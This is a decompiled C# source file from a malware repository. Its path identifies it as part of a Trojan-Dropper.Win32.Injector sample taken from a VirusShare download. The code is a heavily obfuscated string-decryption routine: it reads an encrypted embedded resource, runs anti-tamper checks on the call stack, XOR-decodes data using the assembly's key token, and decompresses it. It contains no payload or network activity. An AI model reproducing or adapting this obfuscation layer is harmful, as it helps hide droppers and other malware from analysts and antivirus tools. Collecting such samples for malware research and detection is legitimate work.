MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.elwj-8012f8d9cbc27bdc5242e812bac1932349108916abac095e249196a1ff3b491d/_000F.cs

503 lines
19 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: crypted, Version=4.9.4.5, Culture=neutral, PublicKeyToken=null
// MVID: 39ED6F8C-EF75-4E88-8706-EBD78B0ECCC1
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.elwj-8012f8d9cbc27bdc5242e812bac1932349108916abac095e249196a1ff3b491d.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
internal static class \u000F
{
private static \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005 \u0002;
private static \u000F.\u0002\u2007\u2007\u2002\u2003\u2001\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001 \u0003;
private static byte[] \u0005;
private static short \u0008;
private static int \u0006;
private static byte[] \u000E;
private static int \u000F;
private static int \u0002\u2000;
private static \u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005 \u0003\u2000;
[MethodImpl(MethodImplOptions.NoInlining)]
static \u000F()
{
int num1 = 1215076615;
int num2 = num1 ^ -1631227178;
\u000F.\u0002 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005(11);
int skipFrames = 1;
StackTrace stackTrace = new StackTrace(skipFrames, false);
int index = skipFrames - 1;
StackFrame frame = stackTrace.GetFrame(index);
int num3 = -~-~-~-~~-~(-876816457 - num1 - num2) ^ ~--~~-~-~(num1 ^ 1937821903 ^ num2);
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
if (frame != null)
num3 ^= -~-~-~~--~~(2072203980 + num1 - num2);
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
int num4;
if ((object) type == (object) typeof (RuntimeMethodHandle))
{
num4 = num3 ^ (num1 ^ -1631227407 ^ num2) + index;
\u000F.\u0003\u2000 = (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 4 | \u000F.\u0003\u2000;
}
else if ((object) type == null)
{
num4 = num3 ^ -~~--~-~~(1908546689 - num1 + num2);
\u000F.\u0003\u2000 |= (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 1;
}
else if ((object) type.Assembly != (object) typeof (\u000F).Assembly)
{
num4 = num3 ^ num1 - 1256783823 ^ num2;
\u000F.\u0003\u2000 = (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 2 | \u000F.\u0003\u2000;
}
else
{
\u000F.\u0003\u2000 |= (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 16;
num4 = num3 ^ -~~--~-~~((num1 ^ -1631251223) - num2) - index;
}
\u000F.\u0002\u2000 += num4;
}
private static void \u0002(byte[] _param0, int _param1, byte[] _param2)
{
int num1 = 0;
int num2 = 0;
int num3 = 128;
int length = _param2.Length;
label_10:
while (num1 < length)
{
if ((num3 <<= 1) == 256)
{
num3 = 1;
num2 = (int) _param0[_param1++];
}
if ((num2 & num3) != 0)
{
int num4 = ((int) _param0[_param1] >> 2) + 3;
int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
_param1 += 2;
int num6 = num1 - num5;
if (num6 < 0)
break;
while (true)
{
if (--num4 >= 0 && num1 < length)
_param2[num1++] = _param2[num6++];
else
goto label_10;
}
}
else
_param2[num1++] = _param0[_param1++];
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string \u0002(int _param0)
{
int num1 = 1232296797;
int num2 = num1 - 105835718;
lock (\u000F.\u0002)
{
string str1;
byte[] numArray1;
int num3;
while (true)
{
str1 = \u000F.\u0002.\u0002(_param0);
if (str1 == null)
{
int num4;
if (\u000F.\u0003 == null)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Assembly.GetCallingAssembly();
\u000F.\u0006 |= -1934600334 - num1 ^ num2;
Assembly assembly1 = executingAssembly;
StringBuilder stringBuilder = new StringBuilder();
int num5 = (710792643 ^ num1) - num2;
stringBuilder.Append((char) num5).Append((char) (num5 >> 16));
int num6 = 642714829 - num1 + num2;
stringBuilder.Append((char) (num6 >> 16)).Append((char) num6);
int num7 = 431043393 + num1 - num2;
stringBuilder.Append((char) num7).Append((char) (num7 >> 16));
int num8 = num1 ^ 710677963 ^ num2;
stringBuilder.Append((char) num8).Append((char) (num8 >> 16));
int num9 = 642714828 - num1 + num2;
stringBuilder.Append((char) num9).Append((char) (num9 >> 16));
int num10 = 431158079 + num1 ^ num2;
stringBuilder.Append((char) (num10 >> 16)).Append((char) num10);
int num11 = -1398937094 - num1 - num2;
stringBuilder.Append((char) num11).Append((char) (num11 >> 16));
string name = stringBuilder.ToString();
Stream manifestResourceStream = assembly1.GetManifestResourceStream(name);
int skipFrames = 1;
StackTrace stackTrace = new StackTrace(skipFrames, false);
\u000F.\u0006 ^= num1 + 1936215890 + num2 | skipFrames;
int index = skipFrames - 1;
StackFrame frame = stackTrace.GetFrame(index);
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
\u000F.\u0006 ^= index + (num1 ^ 173487434 ^ num2);
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
if (frame == null)
\u000F.\u0006 ^= 106055033 - num1 + num2;
bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
\u000F.\u0006 ^= 173487466 ^ num1 ^ num2;
if (!flag)
{
flag = (object) type == null;
if (flag)
\u000F.\u0006 ^= 1936428703 + num1 + num2;
}
if (flag == (stackTrace != null))
\u000F.\u0006 ^= 32;
\u000F.\u0006 ^= -1936202918 - num1 - num2 | 1 + index;
\u000F.\u0003 = new \u000F.\u0002\u2007\u2007\u2002\u2003\u2001\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001(manifestResourceStream);
short num12 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) -~~-~--~~-~(num1 - 105837518 ^ num2));
if (num12 == (short) 0)
\u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~((num1 ^ 173512391) - num2));
else
\u000F.\u0005 = \u000F.\u0003.\u0002((int) num12);
Assembly assembly2 = executingAssembly;
AssemblyName assemblyName;
try
{
assemblyName = assembly2.GetName();
}
catch
{
assemblyName = new AssemblyName(assembly2.FullName);
}
\u000F.\u000E = assemblyName.GetPublicKeyToken();
if (\u000F.\u000E != null && \u000F.\u000E.Length == 0)
\u000F.\u000E = (byte[]) null;
int num13 = \u000F.\u0002\u2000;
\u000F.\u0002\u2000 = 0;
long num14 = \u0003\u2000.\u0002();
num4 = num13 ^ (int) (uint) num14 ^ num1 + 683398123 ^ num2 ^ -~-~-~-~~-~((num1 ^ -1899209790) + num2);
\u000F.\u000F = num4;
\u000F.\u0006 = \u000F.\u0006 & (57161352 + num1 ^ num2) ^ 105842506 - num1 + num2;
if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) -~~-~--~~-~(num1 + 1936209436 ^ num2)) == (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 0)
\u000F.\u0006 = 105879680 - num1 + num2;
}
else
num4 = \u000F.\u000F;
if (\u000F.\u0006 != (173424908 ^ num1) - num2)
{
int num15 = _param0 ^ (num1 ^ 347870005) + num2 ^ num4 ^ num1 - 412169109 ^ num2;
\u000F.\u0003.\u0002().Position = (long) num15;
if (\u000F.\u0005 != null)
{
numArray1 = \u000F.\u0005;
}
else
{
short num16 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-173512999 ^ num1) + num2 ^ num15);
if (num16 == (short) 0)
{
numArray1 = (byte[]) null;
}
else
{
numArray1 = \u000F.\u0003.\u0002((int) num16);
for (int index = 0; index != numArray1.Length; ++index)
numArray1[index] ^= (byte) (\u000F.\u000F >> ((3 & index) << 3));
}
}
num3 = \u000F.\u0003.\u0002() ^ num15 ^ -~-~-~~-~-~(num1 - 191716227 ^ num2) ^ num4;
if (num3 == (num1 ^ -173487558) + num2)
{
byte[] numArray2 = \u000F.\u0003.\u0002(4);
_param0 = 259405991 - num1 - num2 ^ num4;
_param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0;
}
else
goto label_33;
}
else
goto label_23;
}
else
break;
}
return str1;
label_23:
return new string(new char[3]
{
(char) (1936209508 + num1 + num2),
'0',
(char) (-1936209332 - num1 - num2)
});
label_33:
bool flag1 = (num3 & (num1 ^ -1973996086) - num2) != 0;
bool flag2 = (num3 & 642706630 - num1 + num2) != 0;
bool flag3 = (num3 & (num1 - 1179577542 ^ num2)) != 0;
int num17 = num3 & num1 - 2090322421 + num2;
byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num17));
if (\u000F.\u000E != null != (\u000F.\u0006 != (-1934605970 - num1 ^ num2)))
{
for (int index = 0; index < num17; ++index)
{
byte num18 = \u000F.\u000E[index & 7];
byte num19 = (byte) ((int) num18 << 3 | (int) num18 >> 5);
numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num19);
}
}
int num20 = \u000F.\u0006 - 12;
int length;
byte[] bytes;
if (!flag2)
{
length = num17;
bytes = numArray3;
}
else
{
length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
bytes = new byte[length];
\u000F.\u0002(numArray3, 4, bytes);
}
string str2;
if (flag3 && num20 == num1 + 1937817222 + num2)
{
char[] chArray = new char[length];
for (int index = 0; index < length; index = 1 + index)
chArray[index] = (char) bytes[index];
str2 = new string(chArray);
}
else
str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
int num21 = num20 + ((num1 ^ 173487179) - num2 + (3 & num20) << 5);
if (num21 != (num1 - 104228176 ^ num2))
{
int num22 = num17 + _param0 ^ (num1 ^ -174423876) + num2 ^ num21 & (num1 - 105836483 ^ num2);
ref int local = ref num22;
StringBuilder stringBuilder = new StringBuilder();
int num23 = -1936209332 - num1 - num2;
stringBuilder.Append((char) (byte) num23);
string format = stringBuilder.ToString();
str2 = local.ToString(format);
}
if (!flag1)
{
str2 = string.Intern(str2);
\u000F.\u0002.\u0002(_param0, str2);
if (\u000F.\u0002.\u0002() == 11)
{
\u000F.\u0003.\u0003();
\u000F.\u0003 = (\u000F.\u0002\u2007\u2007\u2002\u2003\u2001\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001) null;
\u000F.\u0005 = \u000F.\u000E = (byte[]) null;
}
}
return str2;
}
}
private enum \u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005
{
}
private sealed class \u0002\u2007\u2007\u2002\u2003\u2001\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001
{
private Stream \u0002;
private byte[] \u0003;
public \u0002\u2007\u2007\u2002\u2003\u2001\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001(
Stream _param1)
{
this.\u0002 = _param1;
this.\u0003 = new byte[4];
}
public Stream \u0002() => this.\u0002;
public short \u0002()
{
this.\u0002(2);
return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8);
}
public int \u0002()
{
this.\u0002(4);
return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24;
}
private void \u0002() => throw new EndOfStreamException();
private void \u0002(int _param1)
{
int offset = 0;
if (_param1 == 1)
{
int num = this.\u0002.ReadByte();
if (num == -1)
this.\u0002();
this.\u0003[0] = (byte) num;
}
else
{
do
{
int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset);
if (num == 0)
this.\u0002();
offset += num;
}
while (offset < _param1);
}
}
public void \u0003()
{
Stream stream = this.\u0002;
this.\u0002 = (Stream) null;
stream?.Close();
this.\u0003 = (byte[]) null;
}
public byte[] \u0002(int _param1)
{
byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException();
int length = 0;
do
{
int num = this.\u0002.Read(numArray, length, _param1);
if (num != 0)
{
length += num;
_param1 -= num;
}
else
break;
}
while (_param1 > 0);
if (length != numArray.Length)
{
byte[] dst = new byte[length];
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length);
numArray = dst;
}
return numArray;
}
}
[DefaultMember("Item")]
internal sealed class \u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005
{
private \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] \u0002;
private int \u0003;
public \u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005() => this.\u0002 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[16];
public \u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005(
int _param1)
{
int length = 16;
_param1 <<= 1;
while (length < _param1 && length > 0)
length <<= 1;
if (length < 0)
length = 16;
this.\u0002 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[length];
}
public int \u0002() => this.\u0003;
private void \u0002()
{
\u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray1 = this.\u0002;
int length1 = objArray1.Length;
int length2 = length1 * 2;
if (length2 <= 0)
return;
\u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray2 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[length2];
int num1 = 0;
for (int index1 = 0; index1 < length1; ++index1)
{
string str = objArray1[index1].\u0003;
if (str != null)
{
int num2 = objArray1[index1].\u0002;
int index2 = num2 & length2 - 1;
while (objArray2[index2].\u0003 != null)
{
++index2;
if (index2 >= length2)
index2 = 0;
}
objArray2[index2].\u0003 = str;
objArray2[index2].\u0002 = num2;
++num1;
}
}
this.\u0002 = objArray2;
this.\u0003 = num1;
}
public string \u0002(int _param1)
{
\u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray = this.\u0002;
int length = objArray.Length;
int index = _param1 & length - 1;
string str = (string) null;
while (objArray[index].\u0002 != _param1)
{
if (objArray[index].\u0003 != null)
{
++index;
if (index >= length)
index = 0;
}
else
goto label_6;
}
str = objArray[index].\u0003;
label_6:
return str;
}
public void \u0002(int _param1, string _param2)
{
\u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray = this.\u0002;
int length = objArray.Length;
int num1 = length >> 1;
int index = _param1 & length - 1;
while (true)
{
do
{
int num2 = objArray[index].\u0002;
bool flag = objArray[index].\u0003 == null;
if (num2 == _param1 || flag)
{
objArray[index].\u0003 = _param2;
if (!flag)
return;
objArray[index].\u0002 = _param1;
++this.\u0003;
if (this.\u0003 <= num1)
return;
this.\u0002();
return;
}
++index;
}
while (index < length);
index = 0;
}
}
private struct \u0002
{
public int \u0002;
public string \u0003;
}
}
}